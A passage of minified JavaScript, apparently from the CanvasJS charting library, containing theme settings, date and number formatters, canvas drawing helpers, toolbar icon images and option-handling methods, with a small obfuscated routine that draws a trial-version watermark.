l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",
lineThickness:1,lineDashType:"solid",color:"#111111"}}],axisY2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:1,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",
labelFontWeight:"normal",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:
"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],legend:
{fontFamily:v,fontSize:14,fontColor:fa,fontWeight:"bold",verticalAlign:"bottom",hor
izontalAlign:"center"},toolTip:
{fontFamily:v,fontSize:14,fontStyle:"normal",cornerRadius:0,borderThickness:1,fontC
olor:Q,backgroundColor:"rgba(0, 0, 0, .
7)"}};I="#FFFFFF";Q=fa="#FAFAFA";ha="#40BAF1";ga="#F5F5F5";
var X=20,E=14,ya={light1:Xa,light2:cb,dark1:Ha,dark2:
{colorSet:"colorSet2",backgroundColor:"#32373A",title:
{fontFamily:v,fontSize:32,fontColor:fa,fontWeight:"normal",verticalAlign:"top",marg
in:5},subtitles:
[{fontFamily:v,fontSize:E,fontColor:fa,fontWeight:"normal",verticalAlign:"top",marg
in:5}],toolbar:
{backgroundColor:"#666666",backgroundColorOnHover:"#FF7372",borderColor:"#FF7372",b
orderThickness:1,fontColor:"#F5F5F5",fontColorOnHover:"#F5F5F5"},data:
[{indexLabelFontFamily:v,indexLabelFontSize:E,
indexLabelFontColor:Q,indexLabelFontWeight:"normal",indexLabelLineThickness:1}],axi
sX:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:0,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,
labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal",labelBackgroundCo
lor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],axisX2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:0,gridColor:I,stripLines:
[{labelFontFamily:v,
labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"normal",labelBackgroundCo
lor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],axisY:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,
labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThickness:0,lineColor
:I,tickThickness:1,tickColor:I,gridThickness:1,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",
lineThickness:1,lineDashType:"solid",color:"#111111"}}],axisY2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:0,lineColor:I,tickThickness:1,tickColor:I,gridThickness:1,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",
labelFontWeight:"normal",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:
"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],legend:
{fontFamily:v,fontSize:14,fontColor:fa,fontWeight:"bold",verticalAlign:"bottom",hor
izontalAlign:"center"},toolTip:
{fontFamily:v,fontSize:14,fontStyle:"normal",cornerRadius:0,borderThickness:1,fontC
olor:Q,backgroundColor:"rgba(0, 0, 0, .
7)"}},theme1:Xa,theme2:cb,theme3:Xa},S={numberDuration:1,
yearDuration:314496E5,monthDuration:2592E6,weekDuration:6048E5,dayDuration:864E5,ho
urDuration:36E5,minuteDuration:6E4,secondDuration:1E3,millisecondDuration:1,dayOfWe
ekFromInt:"Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split(" ")};
(function(){U.fSDec=function(h){for(var p="",r=0;r<h.length;r+
+)p+=String.fromCharCode(Math.ceil(h.length/57/5)^h.charCodeAt(r));return
p};U.obj={trVs:"Ush`m!Wdsrhno",fntStr:"qy!B`mhcsh-!Mtbhe`!Fs`oed-!Mtbhe`!R`or!
Tohbned-!@sh`m-!r`or,rdshg",txtBl:"udyuC`rdmhod",
fnt:"gnou",fSy:"ghmmRuxmd",fTx:"ghmmUdyu",grClr:"fsdx",cntx:"buy",tp:"unq"};delete
ra[U.fSDec("Bi`su")][U.fSDec("bsdehuIsdg")];U.pro={sCH:ra[U.fSDec("Bi`su")]
[U.fSDec("bsdehuIsdg")]};U._fTWm=function(h){if("undefined"===typeof U.pro.sCH&&!
db)try{var
p=h[U.fSDec(U.obj.cntx)];p[U.fSDec(U.obj.txtBl)]=U.fSDec(U.obj.tp);p[U.fSDec(U.obj.
fnt)]=11+U.fSDec(U.obj.fntStr);p[U.fSDec(U.obj.fSy)]=U.fSDec(U.obj.grClr);p[U.fSDec
(U.obj.fTx)](U.fSDec(U.obj.trVs),2,h.height-11-2)}catch(r){}}})();var
$a={},xa=null,kb=
function()
{this.ctx.clearRect(0,0,this.width,this.height);this.backgroundColor&&(this.ctx.fil
lStyle=this.backgroundColor,this.ctx.fillRect(0,0,this.width,this.height))},lb=func
tion(h,p,r){p=Math.min(this.width,this.height);return
Math.max("theme4"===this.theme?0:300<=p?12:10,Math.round(p*(h/400)))},Ca=function()
{var h=/D{1,4}|M{1,4}|Y{1,4}|h{1,2}|H{1,2}|m{1,2}|s{1,2}|f{1,3}|t{1,2}|T{1,2}|K|
z{1,3}|"[^"]*"|'[^']*'/g,p="Sunday Monday Tuesday Wednesday Thursday Friday
Saturday".split(" "),r="Sun Mon Tue Wed Thu Fri Sat".split(" "),
u="January February March April May June July August September October November
December".split(" "),v="Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split("
"),H=/\b(?:[PMCEA][SDP]T|(?:Pacific|Mountain|Central|Eastern|Atlantic) (?:Standard|
Daylight|Prevailing) Time|(?:GMT|UTC)(?:[-+]\d{4})?)\b/g,F=/[^-+\dA-Z]/g;return
function(z,E,L){var R=L?L.days:p,I=L?L.months:u,N=L?L.shortDays:r,O=L?
L.shortMonths:v;L="";var S=!1;z=z&&z.getTime?z:z?new Date(z):new
Date;if(isNaN(z))throw SyntaxError("invalid date");
"UTC:"===E.slice(0,4)&&(E=E.slice(4),S=!0);L=S?"getUTC":"get";var U=z[L+"Date"]
(),V=z[L+"Day"](),M=z[L+"Month"](),Q=z[L+"FullYear"](),a=z[L+"Hours"]
(),d=z[L+"Minutes"](),b=z[L+"Seconds"](),c=z[L+"Milliseconds"](),e=S?
0:z.getTimezoneOffset();return L=E.replace(h,function(g){switch(g){case "D":return
U;case "DD":return $(U,2);case "DDD":return N[V];case "DDDD":return R[V];case
"M":return M+1;case "MM":return $(M+1,2);case "MMM":return O[M];case "MMMM":return
I[M];case "Y":return parseInt(String(Q).slice(-2));
case "YY":return $(String(Q).slice(-2),2);case "YYY":return $(String(Q).slice(-
3),3);case "YYYY":return $(Q,4);case "h":return a%12||12;case "hh":return $(a%12||
12,2);case "H":return a;case "HH":return $(a,2);case "m":return d;case "mm":return
$(d,2);case "s":return b;case "ss":return $(b,2);case "f":return
String(c).slice(0,1);case "ff":return $(String(c).slice(0,2),2);case "fff":return $
(String(c).slice(0,3),3);case "t":return 12>a?"a":"p";case "tt":return
12>a?"am":"pm";case "T":return 12>a?"A":
"P";case "TT":return 12>a?"AM":"PM";case "K":return S?"UTC":(String(z).match(H)||
[""]).pop().replace(F,"");case "z":return(0<e?"-":"+")
+Math.floor(Math.abs(e)/60);case "zz":return(0<e?"-":"+")+$
(Math.floor(Math.abs(e)/60),2);case "zzz":return(0<e?"-":"+")+$
(Math.floor(Math.abs(e)/60),2)+$(Math.abs(e)%60,2);default:return
g.slice(1,g.length-1)}})}}(),ba=function(h,p,r){if(null===h)return"";if(!
isFinite(h))return h;h=Number(h);var u=0>h?!0:!1;u&&(h*=-1);var v=r?
r.decimalSeparator:".",H=r?r.digitGroupSeparator:
",",F="";p=String(p);var F=1,z=r="",E=-1,L=[],R=[],I=0,N=0,S=0,O=!
1,U=0,z=p.match(/"[^"]*"|'[^']*'|[eE][+-]*[0]+|[,]+[.]|\u2030|./g);p=null;for(var
Q=0;z&&Q<z.length;Q++)if(p=z[Q],"."===p&&0>E)E=Q;else{if("%"===p)F*=100;else
if("\u2030"===p){F*=1E3;continue}else if(","===p[0]&&"."===p[p.length-1])
{F/=Math.pow(1E3,p.length-1);E=Q+p.length-1;continue}else"E"!==p[0]&&"e"!
==p[0]||"0"!==p[p.length-1]||(O=!0);0>E?(L.push(p),"#"===p||"0"===p?I++:","===p&&S+
+):(R.push(p),"#"!==p&&"0"!==p||N++)}O&&(p=Math.floor(h),
z=-Math.floor(Math.log(h)/Math.LN10+1),U=0===h?0:0===p?-(I+z):String(p).length-
I,F/=Math.pow(10,U));0>E&&(E=Q);F=(h*F).toFixed(N);p=F.split(".");F=(p[0]+"").split
("");h=(p[1]+"").split("");F&&"0"===F[0]&&F.shift();for(O=z=Q=N=E=0;0<L.length;)if(
p=L.pop(),"#"===p||"0"===p)if(E++,E===I){var M=F,F=[];if("0"===p)for(p=I-N-(M?
M.length:0);0<p;)M.unshift("0"),p--;for(;0<M.length;)r=M.pop()+r,O++,0===O
%z&&(Q===S&&0<M.length)&&(r=H+r)}else 0<F.length?(r=F.pop()+r,N++,O+
+):"0"===p&&(r="0"+r,N++,O++),0===O%
z&&(Q===S&&0<F.length)&&(r=H+r);else"E"!==p[0]&&"e"!==p[0]||"0"!==p[p.length-1]||!/
[eE][+-]*[0]+/.test(p)?","===p?(Q+
+,z=O,O=0,0<F.length&&(r=H+r)):r=1<p.length&&('"'===p[0]&&'"'===p[p.length-
1]||"'"===p[0]&&"'"===p[p.length-1])?p.slice(1,p.length-1)+r:p+r:(p=0>U?
p.replace("+","").replace("-",""):p.replace("-",""),r+=p.replace(/[0]+/,function(h)
{return $(U,h.length)}));H="";for(L=!1;0<R.length;)p=R.shift(),"#"===p||"0"===p?
0<h.length&&0!==Number(h.join(""))?(H+=h.shift(),L=!0):"0"===p&&(H+="0",L=
!0):1<p.length&&('"'===p[0]&&'"'===p[p.length-1]||"'"===p[0]&&"'"===p[p.length-1])?
H+=p.slice(1,p.length-1):"E"!==p[0]&&"e"!==p[0]||"0"!==p[p.length-1]||!/[eE]
[+-]*[0]+/.test(p)?H+=p:(p=0>U?
p.replace("+","").replace("-",""):p.replace("-",""),H+=p.replace(/[0]+/,function(h)
{return $(U,h.length)}));r+=(L?v:"")+H;return u?"-"+r:r},Ra=function(h){var
p=0,r=0;h=h||window.event;h.offsetX||0===h.offsetX?
(p=h.offsetX,r=h.offsetY):h.layerX||0==h.layerX?(p=h.layerX,r=h.layerY):(p=h.pageX-
h.target.offsetLeft,
r=h.pageY-h.target.offsetTop);return{x:p,y:r}},bb=!0,Ua=window.devicePixelRatio||
1,Pa=1,W=bb?Ua/Pa:1,ea=function(h,p,r,u,v,H,F,z,E,L,R,N,O){"undefined"===typeof
O&&(O=1);F=F||0;z=z||"black";var I=15<u-p&&15<v-r?8:0.35*Math.min(u-p,v-
r);h.beginPath();h.moveTo(p,r);h.save();h.fillStyle=H;h.globalAlpha=O;h.fillRect(p,
r,u-p,v-r);h.globalAlpha=1;0<F&&(O=0===F%2?
0:0.5,h.beginPath(),h.lineWidth=F,h.strokeStyle=z,h.moveTo(p,r),h.rect(p-O,r-O,u-
p+2*O,v-r+2*O),h.stroke());h.restore();!0===E&&(h.save(),h.beginPath(),
h.moveTo(p,r),h.lineTo(p+I,r+I),h.lineTo(u-
I,r+I),h.lineTo(u,r),h.closePath(),F=h.createLinearGradient((u+p)/2,r+I,
(u+p)/2,r),F.addColorStop(0,H),F.addColorStop(1,"rgba(255, 255, 255, .
4)"),h.fillStyle=F,h.fill(),h.restore());!
0===L&&(h.save(),h.beginPath(),h.moveTo(p,v),h.lineTo(p+I,v-I),h.lineTo(u-I,v-
I),h.lineTo(u,v),h.closePath(),F=h.createLinearGradient((u+p)/2,v-I,
(u+p)/2,v),F.addColorStop(0,H),F.addColorStop(1,"rgba(255, 255, 255, .
4)"),h.fillStyle=F,h.fill(),h.restore());!0===R&&(h.save(),
h.beginPath(),h.moveTo(p,r),h.lineTo(p+I,r+I),h.lineTo(p+I,v-
I),h.lineTo(p,v),h.closePath(),F=h.createLinearGradient(p+I,(v+r)/2,p,
(v+r)/2),F.addColorStop(0,H),F.addColorStop(1,"rgba(255, 255, 255,
0.1)"),h.fillStyle=F,h.fill(),h.restore());!
0===N&&(h.save(),h.beginPath(),h.moveTo(u,r),h.lineTo(u-I,r+I),h.lineTo(u-I,v-
I),h.lineTo(u,v),F=h.createLinearGradient(u-I,(v+r)/2,u,
(v+r)/2),F.addColorStop(0,H),F.addColorStop(1,"rgba(255, 255, 255,
0.1)"),h.fillStyle=F,F.addColorStop(0,H),F.addColorStop(1,
"rgba(255, 255, 255,
0.1)"),h.fillStyle=F,h.fill(),h.closePath(),h.restore())},ja=function(h){for(var
p="",r=0;r<h.length;r+
+)p+=String.fromCharCode(Math.ceil(h.length/57/5)^h.charCodeAt(r));return
p},db=window&&window[ja("mnb`uhno")]&&window[ja("mnb`uhno")].href&&window[ja("mnb`u
hno")].href.indexOf&&(-1!
==window[ja("mnb`uhno")].href.indexOf(ja("b`ow`rkr/bnl"))||-1!
==window[ja("mnb`uhno")].href.indexOf(ja("gdonqhy/bnl"))||-1!
==window[ja("mnb`uhno")].href.indexOf(ja("gheemd"))),ib=db&&-
1===window[ja("mnb`uhno")].href.indexOf(ja("gheemd")),
jb={reset:
{image:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACIAAAAeCAYAAABJ/8wUAAAAIGNIU
k0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAPj
SURBVFhHxVdJaFNRFP1J/jwkP5MxsbaC1WJEglSxOFAXIsFpVRE3ggi1K90obioRRBA33XXnQnciirhQcMC
dorgQxBkXWlREkFKsWkv5npvckp/XnzRpKh64kLw733fffe9L/wrL0+mVUdO8uTSZ3MBL/we2qg4rkuSpod
CELstXE46ziVkLQ6FQcGOmeSSq6wd4aV50d3drWjj8kQKZJTUc9kxFGenv79dZrDksTSTWWJp2QYtEPiEry
syzdX0LsxsCQR8keX8gs6RHIk8ysdgKFg2G53mhuOPsshTlBjKaFo1g7SqLNoShKLdFXT8huQ/paLSbxatY
nc2mHMM4hr18Vi8TIvCmXF3vYrW6cF23gGTOk0M1wA4RKvOmq6vLZRVJipvmSWT6tZ6CSEYkco5V50VPT4+
D7RwOqi6RiSZm0fJ+vggSqkeoypdsNmuyelNwbXsbgvkWYMtzDWNvWaijoyOBqE+hVK8abcssUeXQ/YfKyi
0gFYv1Ipgfoj34fYGTJLOYJA0ODirok32GLN8XhUWCwSes1hIwBg6LydJ/tEeRRapAdUp+wSAiZchtZZWWg
AZ+JNpD8peYXQVK9UwUxNpzOK8pq97kURZhYTCKBwPD7h2zK+js7Myi7D8Fod+0TkMI8+EMAngLGc/WtBFW
awkFHFnoj/t9KLgGmF0B3QfkxC+EarxkdhnFYlFLY06USqUwL7UMjICHfh/wOc2sCqhpxGbCkLvL7EUDbF7
3+6DkmVWB6zi7xUDQSLeYvWjAILvm9zEnkJhlbRcDQZcv6Kg2AipyT/Axw6wKlqVSqxDdjF8Izfod13qURd
rG/nxehY+xGh+h0CSzKygGvSNQIcc097BI24jb9hax6kj2E7OrMFX1il+ICEf2NrPbhiXLl+fYl+U7zK4iY
dsDcyLGf+ofFlkwcN+s10KhmpuYhhtm0hCLVIFL0MDsqNlDIqy9x2CLs1jL6OvrI7vPRbtohXG6eFmsFnHD
GAp6n9AgyuVySRZrGvROxRgIfLXhzjrNYnNBUxNX/dMgRWT1mt4XLDovaApD53E9W3ilNX5M55LJHpRtIsg
AvciR4WWcgK2Dvb1YqgXevmF8z2zEBTcKG39EfSKsT9EbhVUaI2FZO+oZIqImxol6j66/hcAu4sSN4vc1ZP
oKeoE6RGhYL2YYA+ymOSSi0Z0wWntbtkGUWCvfSDXIxONraZ/FY90KUfNTpfC5spnNLgxoYNnR9RO4F8ofX
EHOgogCQE99w+fF2Xw+b7O59rEOsyRqGEfpVoaDMQQ1CZrG46bcM6AZ0C/wPqNfHliqejyTySxh9TqQpL+x
mbIlkB9SlAAAAABJRU5ErkJggg=="},
pan:
{image:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAYAAAA7MK6iAAAAIGNIU
k0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAIC
SURBVEhLxZbPahNRGMUn/5MpuAiBEAIufQGfzr5E40YptBXajYzudCEuGqS+gGlrFwquDGRTutBdYfydzJ3
LzeQmJGZue+Dw/Z17Mnfmu5Pof9Hr9Z61Wq0bWZMKj263O6xWq99wU9lOpzPMKgEhEcRucNOcioOK+0RzBh
Nvt9tPV4nmVF19+OWhVqt9xXgFXZq+8lCv119UKpUJ7iX2FmvFTKz8RH34YdBsNk8wVtjE4fGYwm8wrrDi3
WBG5oKXZGRSS9hGuNFojLTe2lFz5xThWZIktayyiE2FdT3rzXBXz7krKiL8c17wAKFDjCus2AvW+YGZ9y2J
F0VFRuMPfI//rsCE/C+s26s4gQu9ul7r4NteKx7H8XOC724xNNGbaNu+
+IrBqbOV7Tj3FgMRvc/YKOr3+3sE47wgEt/Bl/gaK5cHbNU11vYSXylfpK7XOvjuumPp4Wcoipu30Qsez2u
MXYz4lfI+mOmwothY+SLiXJy7mKVpWs3Si0CoOMfeI9Od43Wic+jO+ZVv+crsm9QSNhUW9LXSeoPBYLXopt
hGuFQgdIxxhY+UDwlt1x5CZ1hX+NTUdt/OIvjKaDSmuOJfaIVNPKX+W18j/PLA2/kR44p5Sd8HbHngT/yTf
NRWUXX14ZcL3wmX0+TLf8YO7CGT8yFE5zB3/gney25/OETRP9CtPDFe5jShAAAAAElFTkSuQmCC"},
zoom:
{image:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAYAAAA7MK6iAAAAIGNIU
k0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAAJcEhZcwAADsMAAA7DAcdvqGQAAALW
SURBVEhLvZZLaBNRFIabyftBIgEfqCCBoCC6MYqiXYiIj4U76U4X7sUHbhQhUBfixhZEUBDB16YuFERaUaQ
LK7ooCOJj4UKtYEFU0EptShO/A9Ph3js3k8lo/eHnP7n3nP/M3LlzMz1hkUwmNziOcyKRSFyFt+LxeD/c2W
q1Ym7Kv0M2m11Os1OxWGycn1OwZXCGuXfwIhezkd9/jRgNT2L4ldhs1pbkX5OLJe4euVxuGQaPCa3mnUjtJ
x7BDuKusJTCV6jVVGHTMuYRjxma7yIOhTgFY6jNaAKew2xPKpVay9ganmkvj+M448/MfJdT5K5Gg4HJacRn
gPFgqVRaRNwW1B4i7yehWfsEDdz1K+A01AoxPIqGAiuwGfkOTY8+1A6u7AyiFTB2Hu0KPIrdiOnzHLWDybe
Imvy+Wq2mZa5bUHsD0Zpz+KxHdWQymV6kAb1ElqeORgJLvgnRdj1+R1AfzkIvSUjxVjQSarVakrueIPT8+H
1F5jSUy+WXiJrUYBVWyVxU4PEU8TzhfaijUqnMIWrjaY492eWRwdKOIqrnIxnXwLLeRLwk2GQzrEMjg0avE
bXxkIxr4OoOImpj2QwyFgms1koa/SZUG8s+0iGnEhNfCNXEhzIXBVz0McTzEvJ+70P9oNFtxEzei3aFYrFY
xmuSUPWSv9Yi9IMm2xE1We56Mp1OV4nDwqFmBDV9gk9AEh4gZtFHNt8W4kAUCoXF5MorY9Z/kDni9nDv7hc
0i2fhgLvTtX8a99PoMPPagTFPxofRzmDJ9yM+AyEmTfgGysYbQcfhDzPPJDmX0c7gDg4gs9BqFIWhm/Nct5
H8gtBq1I7UfIbtvmIuoaGQcp+fdpbbSM43eEH5wrwLbXmhm/fU63VHXjcuok7hEByFY/AeHGC8L5/PL3HT5
xGH1uYwfPOICGo+CBcU0vwO1BqzUqILDl/z/9VYIMfpddiAc47jDP8BsUpb13wOLRwAAAAASUVORK5CYII=
"},
menu:
{image:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACQAAAAeCAYAAABE4bxTAAAAIGNIU
k0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADo
SURBVFhH7dc9CsJAFATgRxIIBCwCqZKATX5sbawsY2MvWOtF9AB6AU8gguAJbD2AnZ2VXQT/Ko2TYGCL2OY
tYQc+BuYA+1hCtnCVwMm27SGaXpDJIAiCvCkVR05hGOZNN3HkFMdx3nQRR06+76/R1IcFLJlNQEWlmWlBTw
JtKLKHynehZqnjOGM0PYWRVXk61C37p7xlZ3Hk5HneCk1dmMH811xGoKLSzDiQwIBZB4ocoPJdqNkDt2yKl
ueWRVGUtzy3rPwo3sWRU3nLjuLI6OO67oZM00wMw3hrmpZx0XU9syxrR0T0BeMpb9dneSR2AAAAAElFTkSu
QmCC"},
handle:
{image:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAkAAAAQCAYAAADESFVDAAAAAXNSR
0IArs4c6QAAAAZiS0dEANAAzwDP4Z7KegAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9sHGw0cMqdt
1UwAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAAaElEQVQoz+3SsRFAQBCF4Z9WJM8
KCDVwownl6YXsTmCUsyKGkZzcl7zkz3YLkypgAnreFmDEpHkIwVOMfpdi9CEEN2nGpFdwD03yEqDtOgCaun
7sqSTDH32I1pQA2Pb9sZecAxc5r3IAb21d6878xsAAAAAASUVORK5CYII="}};V.prototype.setOption
s=function(h,p){if(ra[this._defaultsKey]){var r=ra[this._defaultsKey],u;for(u in
r)"publicProperties"!==
u&&r.hasOwnProperty(u)&&(this[u]=h&&u in h?h[u]:p&&u in p?p[u]:r[u])}else
Ja&&window.console&&console.log("defaults not set")};V.prototype.get=function(h)
{var p=ra[this._defaultsKey];if("options"===h)return
this.options&&this.options._isPlaceholder?
null:this.options;if(p.hasOwnProperty(h)||
p.publicProperties&&p.publicProperties.hasOwnProperty(h))return
this[h];window.console&&window.console.log('Property "'+h+"\" doesn't exist. Please
check for typo.")};V.prototype.set=function(h,p,r){r="undefined"===
typeof r?!0:r;var
u=ra[this._defaultsKey];if("options"===h)this.createUserOptions(p);else
if(u.hasOwnProperty(h)||
u.publicProperties&&u.publicProperties.hasOwnProperty(h)&&"readWrite"===u.publicPro
perties[h])this.options._isPlaceholder&&this.createUserOptions(),this.options[h]=p;
else{window.console&&(u.publicProperties&&u.publicProperties.hasOwnProperty(h)&&"re
adOnly"===u.publicProperties[h]?window.console.log('Property "'+h+'" is read-
only.'):window.console.log('Property "'+h+"\" doesn't exist. Please check for
typo."));
return}r&&(this.stockChart||this.chart||
this).render()};V.prototype.addTo=function(h,p,r,u){u="undefined"===typeof u?!
0:u;var v=ra[this._defaultsKey];v.hasOwnProperty(h)||
v.publicProperties&&v.publicProperties.hasOwnProperty(h)&&"readWrite"===v.publicPro
perties[h]?
(this.options._isPlaceholder&&this.createUserOptions(),"undefined"===typeof
this.options[h]&&(this.options[h]=[]),h=this.options[h],r="undefined"===typeof r||
null===r?h.length:r,h.splice(r,0,p),u&&(this.chart||
this).render()):window.console&&
(v.publicProperties&&v.publicProperties.hasOwnProperty(h)&&"readOnly"===v.publicPro
perties[h]?window.console.log('Property "'+h+'" is read-
only.'):window.console.log('Property "'+h+"\" doesn't exist. Please check for
typo."))};V.prototype.createUserOptions=function(h){if("undefined"!==typeof h||
this.options._isPlaceholder)if(this.parent.options._isPlaceholder&&this.parent.crea
teUserOptions(),this.isOptionsInArray){this.parent.options[this.optionsName]||
(this.parent.options[this.optionsName]=[]);var p=
this.parent.options[this.optionsName],r=p.length;this.options._isPlaceholder||
(Fa(p),r=p.indexOf(this.options));this.options="undefined"===typeof h?
{}:h;p[r]=this.options}else this.options="undefined"===typeof h?
{}:h,h=this.parent.options,this.optionsName?p=this.optionsName:
(p=this._defaultsKey)&&0!==p.length?
(r=p.charAt(0).toLowerCase(),1<p.length&&(r=r.concat(p.slice(1))),p=r):p=void
0,h[p]=this.options};V.prototype.remove=function(h){h="undefined"===typeof h?!
0:h;if(this.isOptionsInArray){var p=
this.parent.options[this.optionsName];Fa(p);var
r=p.indexOf(this.options);0<=r&&p.splice(r,1)}else delete
this.parent.options[this.optionsName];h&&(this.chart||
this).render()};V.prototype.updateOption=function(h){!
ra[this._defaultsKey]&&(Ja&&window.console)&&console.log("defaults not set");var
p=ra[this._defaultsKey],r={},v=this[h],E=this._themeOptionsKey,H=this._index;this.t
heme&&u(E)&&u(H)?r=u(ya[this.theme])?
ya.light1:ya[this.theme]:this.parent&&(this.parent.themeOptions&&this.parent.themeO
ptions[E])&&
(null===H?
r=this.parent.themeOptions[E]:0<this.parent.themeOptions[E].length&&(r=Math.min(thi
s.parent.themeOptions[E].length-1,H),r=this.parent.themeOptions[E]
[r]));this.themeOptions=r;h in p&&(v=h in this.options?this.options[h]:r&&h in r?
r[h]:p[h]);if(v===this[h])return!1;this[h]=v;return!
0};V.prototype.trackChanges=function(h){if(!this.sessionVariables)throw"Session
Variable Store not
set";this.sessionVariables[h]=this.options[h]};V.prototype.isBeingTracked=function(
h){this.options._oldOptions||
(this.options._oldOptions={});return this.options._oldOptions[h]?!0:!
1};V.prototype.hasOptionChanged=function(h){if(!this.sessionVariables)throw"Session
Variable Store not set";return this.sessionVariables[h]!
==this.options[h]};V.prototype.addEventListener=function(h,p,r)
{h&&p&&(this._eventListeners[h]=this._eventListeners[h]||
[],this._eventListeners[h].push({context:r||
this,eventHandler:p}))};V.prototype.removeEventListener=function(h,p)
{if(h&&p&&this._eventListeners[h])for(var r=this._eventListeners[h],
u=0;u<r.length;u++)if(r[u].eventHandler===p)
{r[u].splice(u,1);break}};V.prototype.removeAllEventListeners=function()
{this._eventListeners=[]};V.prototype.dispatchEvent=function(h,p,r)
{if(h&&this._eventListeners[h]){p=p||{};for(var
u=this._eventListeners[h],v=0;v<u.length;v+
+)u[v].eventHandler.call(u[v].context,p)}"function"===typeof
this[h]&&this[h].call(r||this.chart,p)};Ga.prototype.registerSpace=function(h,p)
{"top"===h?this._topOccupied+=p.height:"bottom"===h?
this._bottomOccupied+=p.height:"left"===
h?
this._leftOccupied+=p.width:"right"===h&&(this._rightOccupied+=p.width)};Ga.prototy
pe.unRegisterSpace=function(h,p){"top"===h?this._topOccupied-
=p.height:"bottom"===h?this._bottomOccupied-=p.height:"left"===h?
this._leftOccupied-=p.width:"right"===h&&(this._rightOccupied-
=p.width)};Ga.prototype.getFreeSpace=function()
{return{x1:this._x1+this._leftOccupied,y1:this._y1+this._topOccupied,x2:this._x2-
this._rightOccupied,y2:this._y2-this._bottomOccupied,width:this._x2-this._x1-
this._rightOccupied-this._leftOccupied,
height:this._y2-this._y1-this._bottomOccupied-
this._topOccupied}};Ga.prototype.reset=function()
{this._rightOccupied=this._leftOccupied=this._bottomOccupied=this._topOccupied=this
._padding};qa(ka,V);ka.prototype._initialize=function(){u(this.padding)||"object"!
==typeof this.padding?
this.topPadding=this.rightPadding=this.bottomPadding=this.leftPadding=Number(this.p
adding)|0:(this.topPadding=u(this.padding.top)?0:Number(this.padding.top)|
0,this.rightPadding=u(this.padding.right)?0:Number(this.padding.right)|
0,this.bottomPadding=u(this.padding.bottom)?0:Number(this.padding.bottom)|
0,this.leftPadding=u(this.padding.left)?0:Number(this.padding.left)|
